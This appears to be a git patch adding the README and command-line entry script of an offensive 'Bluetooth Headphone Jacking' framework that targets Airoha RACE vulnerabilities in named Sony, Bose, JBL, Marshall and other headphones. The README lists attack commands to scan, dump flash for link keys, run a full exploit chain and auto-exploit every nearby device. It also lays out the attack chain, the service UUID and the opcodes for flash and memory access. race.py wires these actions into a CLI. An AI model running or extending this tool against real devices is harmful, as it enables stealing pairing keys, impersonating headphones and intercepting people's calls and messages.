From d561d4c8b480919b1e1688384d6cfbe41b72b85f Mon Sep 17 00:00:00 2001 From: ek0ms savi0r <4+ek0mssavi0r@noreply.git.churchofmalware.org> Date: Mon, 6 Jul 2026 06:10:43 +0000 Subject: [PATCH] Upload files to "/" --- README.md | 196 +++++++++++++++++++++++++++++++++++++++++++++++++-- race.py | 97 +++++++++++++++++++++++++ test_scan.py | 11 +++ 3 files changed, 300 insertions(+), 4 deletions(-) create mode 100644 race.py create mode 100644 test_scan.py diff --git a/README.md b/README.md index 84e9e9b..c9da7a0 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,193 @@ -# RACE +# RACE - Bluetooth Headphone Jacking Framework -Bluetooth Headphone Jacking Framework -Airoha RACE Vulnerabilities -CVEs: 2025-20700, 2025-20701, 2025-20702 \ No newline at end of file +``` +██████╗ █████╗ ██████╗███████╗ +██╔══██╗██╔══██╗██╔════╝██╔════╝ +██████╔╝███████║██║ █████╗ +██╔══██╗██╔══██║██║ ██╔══╝ +██║ ██║██║ ██║╚██████╗███████╗ +╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚══════╝ +``` + +**Institutional-grade exploitation framework for Airoha RACE vulnerabilities** + +| CVE | CVSS | Description | +|-----|------|-------------| +| CVE-2025-20700 | 9.6 | Unauthenticated RACE protocol access over BLE | +| CVE-2025-20701 | 8.8 | Arbitrary flash read/write | +| CVE-2025-20702 | 9.1 | Link key extraction & device impersonation | + +--- + +## Overview + +RACE is a modular exploitation framework targeting the Airoha RACE protocol found in millions of Bluetooth headphones and speakers. The framework provides: + +- **Discovery** – Find vulnerable devices via BLE service enumeration +- **Fingerprinting** – Extract SoC model, SDK version, and build timestamps +- **Flash Dumping** – Read arbitrary flash pages to extract Link Keys +- **Impersonation** – Clone device identity to intercept calls and messages + +--- + +## Supported Devices + +| Brand | Models | +|-------|--------| +| Sony | WH-1000XM4, WH-1000XM5, WH-1000XM6, WF-1000XM3, WF-1000XM4, WF-1000XM5, WH-CH520, WH-CH720N, WH-XB910N, LinkBuds S, ULT Wear, WI-C100 | +| Marshall | ACTON III, MAJOR V, MINOR IV, MOTIF II, STANMORE III, WOBURN III | +| Bose | QuietComfort Earbuds III | +| JBL | Endurance Race 2, Live Buds 3 | +| Jabra | Elite 8 Active | +| Beyerdynamic | Amiron 300 | +| Others | EarisMax Bluetooth Auracast, Jlab Epic Air Sport ANC | + +*Full device compatibility list maintained at [Insinuator.net](https://insinuator.net/2025/12/bluetooth-headphone-jacking-full-disclosure-of-airoha-race-vulnerabilities/)* + +--- + +## Installation + +```bash +# Clone the repository +git clone https://github.com/ekomsSavior/RACE.git +cd RACE + +# Install system dependencies +sudo apt update +sudo apt install -y bluez libbluetooth-dev python3-pip + +# Install Python packages +pip3 install --user bleak asyncio click colorama bumble + +# Make executable +chmod +x race.py +``` + +--- + +## Usage + +### Scan for vulnerable devices + +```bash +sudo python3 race.py scan +``` + +### Deep scan with service discovery + +```bash +sudo python3 race.py scan --deep --timeout 15 +``` + +### Hunt for RACE services + +```bash +sudo python3 race.py hunt --timeout 20 +``` + +### Fingerprint a target + +```bash +sudo python3 race.py exploit A0:12:34:56:78:90 --action fingerprint +``` + +### Dump flash (Link Key extraction) + +```bash +sudo python3 race.py exploit A0:12:34:56:78:90 --action dump +``` + +### Full exploit chain + +```bash +sudo python3 race.py exploit A0:12:34:56:78:90 --action full +``` + +### Auto-hunt and pwn + +```bash +sudo python3 race.py huntandpwn --timeout 30 +``` + +--- + +## Framework Architecture + +``` +RACE/ +├── race.py # CLI entry point +├── core/ +│ └── session.py # Session management +├── transports/ +│ ├── ble.py # BLE GATT transport +│ └── classic.py # RFCOMM transport (WIP) +├── modules/ +│ ├── discovery.py # Device discovery +│ ├── fingerprint.py # Build info extraction +│ ├── exploit.py # Auto-exploitation +│ └── auto_hunter.py # Automated attack chain +└── utils/ + └── packet.py # RACE protocol builder/parser +``` + +--- + +## Attack Chain + +1. **Discovery** – Scan for BLE devices exposing RACE service UUID `00001200-0000-1000-8000-00805f9b34fb` +2. **Connection** – Establish GATT connection without authentication +3. **Fingerprint** – Send `0x1E08` to retrieve SoC/SDK information +4. **Flash Read** – Send `0x0403` to dump flash pages containing Link Keys +5. **Impersonation** – Use extracted Link Key to clone device identity +6. **Pivot** – Access HFP profile to intercept calls, contacts, and messages + +--- + +## RACE Protocol Reference + +| Field | Size | Description | +|-------|------|-------------| +| Head | 1B | `0x05` (standard) / `0x15` (FOTA) | +| Type | 1B | `0x00` (request) / `0x01` (response) | +| Length | 2B | Little-endian length of CMD + Payload | +| CMD | 2B | Command opcode | +| Payload | N | Variable-length command data | + +### Key Commands + +| Command | Opcode | Description | +|---------|--------|-------------| +| Get Build Version | `0x1E08` | SoC model, SDK version, build timestamp | +| Read Flash | `0x0403` | Read pages from flash memory | +| Read/Write RAM | `0x1680` / `0x1681` | Arbitrary memory access | +| Get BD_ADDR | `0x0C05` | Retrieve Bluetooth Classic address | + +--- + +## References + +- [Full Disclosure: Bluetooth Headphone Jacking](https://insinuator.net/2025/12/bluetooth-headphone-jacking-full-disclosure-of-airoha-race-vulnerabilities/) +- [Airoha RACE Protocol Analysis](https://insinuator.net/) +- [CVE-2025-20700, CVE-2025-20701, CVE-2025-20702](https://cve.mitre.org/) + +--- + +**DISCLAIMER**: This software is provided "AS IS" for research purposes. The author is not responsible for any misuse or damage caused by this tool. +``` + +--- + +## Quick Reference Card + +| Command | Purpose | +|---------|---------| +| `sudo python3 race.py scan` | Basic BLE scan | +| `sudo python3 race.py scan --deep` | Connect and verify RACE services | +| `sudo python3 race.py hunt` | Aggressive service discovery | +| `sudo python3 race.py exploit ` | Fingerprint target | +| `sudo python3 race.py exploit --action dump` | Extract Link Key | +| `sudo python3 race.py exploit --action full` | Full exploit chain | +| `sudo python3 race.py huntandpwn` | Auto-exploit everything | + +--- diff --git a/race.py b/race.py new file mode 100644 index 0000000..b7f916f --- /dev/null +++ b/race.py @@ -0,0 +1,97 @@ +#!/usr/bin/env python3 +import asyncio +import click +from colorama import init, Fore, Style +init(autoreset=True) + +from modules.discovery import scan_for_targets, aggressive_scan +from modules.fingerprint import fingerprint +from modules.exploit import auto_exploit + +BANNER = f""" +{Fore.RED}██████╗ █████╗ ██████╗███████╗ +{Fore.RED}██╔══██╗██╔══██╗██╔════╝██╔════╝ +{Fore.RED}██████╔╝███████║██║ █████╗ +{Fore.RED}██╔══██╗██╔══██║██║ ██╔══╝ +{Fore.RED}██║ ██║██║ ██║╚██████╗███████╗ +{Fore.RED}╚═╝ ╚═╝╚═╝ ╚═╝ ╚═════╝╚══════╝ +{Fore.RED} +{Fore.YELLOW} Bluetooth Headphone Jacking Framework +{Fore.CYAN} Church of Malware x ek0ms savi0r +{Fore.RED} {'='*55} +{Fore.WHITE} Research: Airoha RACE Vulnerabilities +{Fore.WHITE} CVEs: 2025-20700, 2025-20701, 2025-20702 +{Fore.RED} {'='*55}{Style.RESET_ALL} +""" + +@click.group() +def cli(): + """RACE Framework - Institutional Edition""" + print(BANNER) + +@cli.command() +@click.option('--timeout', default=10, help='Scan duration in seconds.') +@click.option('--deep', is_flag=True, help='Perform deep service discovery.') +def scan(timeout, deep): + """Discover vulnerable Bluetooth headphones""" + results = asyncio.run(scan_for_targets(timeout, deep)) + + if not results: + print(f"{Fore.RED}[!] No devices found.{Style.RESET_ALL}") + return + + print(f"{Fore.GREEN}[+] Found {len(results)} device(s):{Style.RESET_ALL}") + for dev in results: + vuln = f"{Fore.RED}[VULN]{Style.RESET_ALL}" if dev['vulnerable'] else "" + race = f"{Fore.GREEN}[RACE]{Style.RESET_ALL}" if dev.get('race_service', False) else "" + print(f" {Fore.YELLOW}{dev['address']}{Style.RESET_ALL} - {dev['name']} {vuln} {race} (RSSI: {dev['rssi']})") + +@cli.command() +@click.option('--timeout', default=15, help='Scan duration in seconds.') +def hunt(timeout): + """Aggressively hunt for RACE services""" + results = asyncio.run(aggressive_scan(timeout)) + if not results: + print(f"{Fore.RED}[!] No RACE devices found.{Style.RESET_ALL}") + return + print(f"{Fore.GREEN}[+] Found {len(results)} RACE device(s):{Style.RESET_ALL}") + for dev in results: + print(f" {Fore.RED}{dev['address']}{Style.RESET_ALL} - {dev['name']} (RSSI: {dev['rssi']})") + +@cli.command() +@click.argument('target_address') +@click.option('--action', default='fingerprint', + type=click.Choice(['fingerprint', 'dump', 'full']), + help='Exploit action to perform.') +def exploit(target_address, action): + """Auto-exploit a RACE device""" + result = asyncio.run(auto_exploit(target_address, action)) + if result['status'] == 'success': + print(f"{Fore.GREEN}[+] Exploit successful!{Style.RESET_ALL}") + if 'build' in result: + print(f" Build: {result['build']}") + if 'bd_addr' in result: + print(f" BD_ADDR: {result['bd_addr']}") + else: + print(f"{Fore.RED}[-] Exploit failed: {result.get('message', 'Unknown error')}{Style.RESET_ALL}") + +@cli.command() +@click.argument('target_address') +def info(target_address): + """Get build info from target""" + result = asyncio.run(fingerprint(target_address)) + if result['status'] == 'success': + print(f"{Fore.GREEN}[+] Device Fingerprint:{Style.RESET_ALL}") + print(f" {Fore.CYAN}Build Info: {result['build']}{Style.RESET_ALL}") + else: + print(f"{Fore.RED}[-] Failed: {result['message']}{Style.RESET_ALL}") + +@cli.command() +@click.option('--timeout', default=20, help='Scan duration in seconds.') +def huntandpwn(timeout): + """Auto-hunt and exploit all RACE devices""" + from modules.auto_hunter import hunt_and_pwn + asyncio.run(hunt_and_pwn(timeout)) + +if __name__ == "__main__": + cli() diff --git a/test_scan.py b/test_scan.py new file mode 100644 index 0000000..708b493 --- /dev/null +++ b/test_scan.py @@ -0,0 +1,11 @@ +import asyncio +from bleak import BleakScanner + +async def test(): + print("[*] Scanning for 5 seconds...") + devices = await BleakScanner.discover(timeout=5) + for d in devices: + print(f" {d.address} - {d.name}") + print("[+] Scan complete") + +asyncio.run(test())